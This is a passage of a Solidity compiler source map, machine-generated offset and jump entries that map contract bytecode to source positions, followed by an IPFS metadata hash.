:18;8015:81;;8081:4;8073:6;8069:17;8059:27;;8015:81;8143:2;8135:6;8132:14;8112:18;8109:38;8106:84;;8162:18;;:::i;:::-;8106:84;7927:269;7876:320;;;:::o;8202:180::-;8250:77;8247:1;8240:88;8347:4;8344:1;8337:15;8371:4;8368:1;8361:15;8388:180;8436:77;8433:1;8426:88;8533:4;8530:1;8523:15;8557:4;8554:1;8547:15;8574:233;8613:3;8636:24;8654:5;8636:24;:::i;:::-;8627:33;;8682:66;8675:5;8672:77;8669:103;;8752:18;;:::i;:::-;8669:103;8799:1;8792:5;8788:13;8781:20;;8574:233;;;:::o;8813:191::-;8853:3;8872:20;8890:1;8872:20;:::i;:::-;8867:25;;8906:20;8924:1;8906:20;:::i;:::-;8901:25;;8949:1;8946;8942:9;8935:16;;8970:3;8967:1;8964:10;8961:36;;;8977:18;;:::i;:::-;8961:36;8813:191;;;;:::o;9010:224::-;9150:34;9146:1;9138:6;9134:14;9127:58;9219:7;9214:2;9206:6;9202:15;9195:32;9010:224;:::o;9240:366::-;9382:3;9403:67;9467:2;9462:3;9403:67;:::i;:::-;9396:74;;9479:93;9568:3;9479:93;:::i;:::-;9597:2;9592:3;9588:12;9581:19;;9240:366;;;:::o;9612:419::-;9778:4;9816:2;9805:9;9801:18;9793:26;;9865:9;9859:4;9855:20;9851:1;9840:9;9836:17;9829:47;9893:131;10019:4;9893:131;:::i;:::-;9885:139;;9612:419;;;:::o;10037:225::-;10177:34;10173:1;10165:6;10161:14;10154:58;10246:8;10241:2;10233:6;10229:15;10222:33;10037:225;:::o;10268:366::-;10410:3;10431:67;10495:2;10490:3;10431:67;:::i;:::-;10424:74;;10507:93;10596:3;10507:93;:::i;:::-;10625:2;10620:3;10616:12;10609:19;;10268:366;;;:::o;10640:419::-;10806:4;10844:2;10833:9;10829:18;10821:26;;10893:9;10887:4;10883:20;10879:1;10868:9;10864:17;10857:47;10921:131;11047:4;10921:131;:::i;:::-;10913:139;;10640:419;;;:::o;11065:223::-;11205:34;11201:1;11193:6;11189:14;11182:58;11274:6;11269:2;11261:6;11257:15;11250:31;11065:223;:::o;11294:366::-;11436:3;11457:67;11521:2;11516:3;11457:67;:::i;:::-;11450:74;;11533:93;11622:3;11533:93;:::i;:::-;11651:2;11646:3;11642:12;11635:19;;11294:366;;;:::o;11666:419::-;11832:4;11870:2;11859:9;11855:18;11847:26;;11919:9;11913:4;11909:20;11905:1;11894:9;11890:17;11883:47;11947:131;12073:4;11947:131;:::i;:::-;11939:139;;11666:419;;;:::o;12091:221::-;12231:34;12227:1;12219:6;12215:14;12208:58;12300:4;12295:2;12287:6;12283:15;12276:29;12091:221;:::o;12318:366::-;12460:3;12481:67;12545:2;12540:3;12481:67;:::i;:::-;12474:74;;12557:93;12646:3;12557:93;:::i;:::-;12675:2;12670:3;12666:12;12659:19;;12318:366;;;:::o;12690:419::-;12856:4;12894:2;12883:9;12879:18;12871:26;;12943:9;12937:4;12933:20;12929:1;12918:9;12914:17;12907:47;12971:131;13097:4;12971:131;:::i;:::-;12963:139;;12690:419;;;:::o;13115:179::-;13255:31;13251:1;13243:6;13239:14;13232:55;13115:179;:::o;13300:366::-;13442:3;13463:67;13527:2;13522:3;13463:67;:::i;:::-;13456:74;;13539:93;13628:3;13539:93;:::i;:::-;13657:2;13652:3;13648:12;13641:19;;13300:366;;;:::o;13672:419::-;13838:4;13876:2;13865:9;13861:18;13853:26;;13925:9;13919:4;13915:20;13911:1;13900:9;13896:17;13889:47;13953:131;14079:4;13953:131;:::i;:::-;13945:139;;13672:419;;;:::o;14097:224::-;14237:34;14233:1;14225:6;14221:14;14214:58;14306:7;14301:2;14293:6;14289:15;14282:32;14097:224;:::o;14327:366::-;14469:3;14490:67;14554:2;14549:3;14490:67;:::i;:::-;14483:74;;14566:93;14655:3;14566:93;:::i;:::-;14684:2;14679:3;14675:12;14668:19;;14327:366;;;:::o;14699:419::-;14865:4;14903:2;14892:9;14888:18;14880:26;;14952:9;14946:4;14942:20;14938:1;14927:9;14923:17;14916:47;14980:131;15106:4;14980:131;:::i;:::-;14972:139;;14699:419;;;:::o;15124:222::-;15264:34;15260:1;15252:6;15248:14;15241:58;15333:5;15328:2;15320:6;15316:15;15309:30;15124:222;:::o;15352:366::-;15494:3;15515:67;15579:2;15574:3;15515:67;:::i;:::-;15508:74;;15591:93;15680:3;15591:93;:::i;:::-;15709:2;15704:3;15700:12;15693:19;;15352:366;;;:::o;15724:419::-;15890:4;15928:2;15917:9;15913:18;15905:26;;15977:9;15971:4;15967:20;15963:1;15952:9;15948:17;15941:47;16005:131;16131:4;16005:131;:::i;:::-;15997:139;;15724:419;;;:::o;16149:225::-;16289:34;16285:1;16277:6;16273:14;16266:58;16358:8;16353:2;16345:6;16341:15;16334:33;16149:225;:::o;16380:366::-;16522:3;16543:67;16607:2;16602:3;16543:67;:::i;:::-;16536:74;;16619:93;16708:3;16619:93;:::i;:::-;16737:2;16732:3;16728:12;16721:19;;16380:366;;;:::o;16752:419::-;16918:4;16956:2;16945:9;16941:18;16933:26;;17005:9;16999:4;16995:20;16991:1;16980:9;16976:17;16969:47;17033:131;17159:4;17033:131;:::i;:::-;17025:139;;16752:419;;;:::o;17177:182::-;17317:34;17313:1;17305:6;17301:14;17294:58;17177:182;:::o;17365:366::-;17507:3;17528:67;17592:2;17587:3;17528:67;:::i;:::-;17521:74;;17604:93;17693:3;17604:93;:::i;:::-;17722:2;17717:3;17713:12;17706:19;;17365:366;;;:::o;17737:419::-;17903:4;17941:2;17930:9;17926:18;17918:26;;17990:9;17984:4;17980:20;17976:1;17965:9;17961:17;17954:47;18018:131;18144:4;18018:131;:::i;:::-;18010:139;;17737:419;;;:::o;18162:348::-;18202:7;18225:20;18243:1;18225:20;:::i;:::-;18220:25;;18259:20;18277:1;18259:20;:::i;:::-;18254:25;;18447:1;18379:66;18375:74;18372:1;18369:81;18364:1;18357:9;18350:17;18346:105;18343:131;;;18454:18;;:::i;:::-;18343:131;18502:1;18499;18495:9;18484:20;;18162:348;;;;:::o;18516:180::-;18564:77;18561:1;18554:88;18661:4;18658:1;18651:15;18685:4;18682:1;18675:15;18702:185;18742:1;18759:20;18777:1;18759:20;:::i;:::-;18754:25;;18793:20;18811:1;18793:20;:::i;:::-;18788:25;;18832:1;18822:35;;18837:18;;:::i;:::-;18822:35;18879:1;18876;18872:9;18867:14;;18702:185;;;;:::o

ipfs://acc4a7c57a5856e92b507222567c66c1c0f0ba6751edbd94b758029a4c9123a9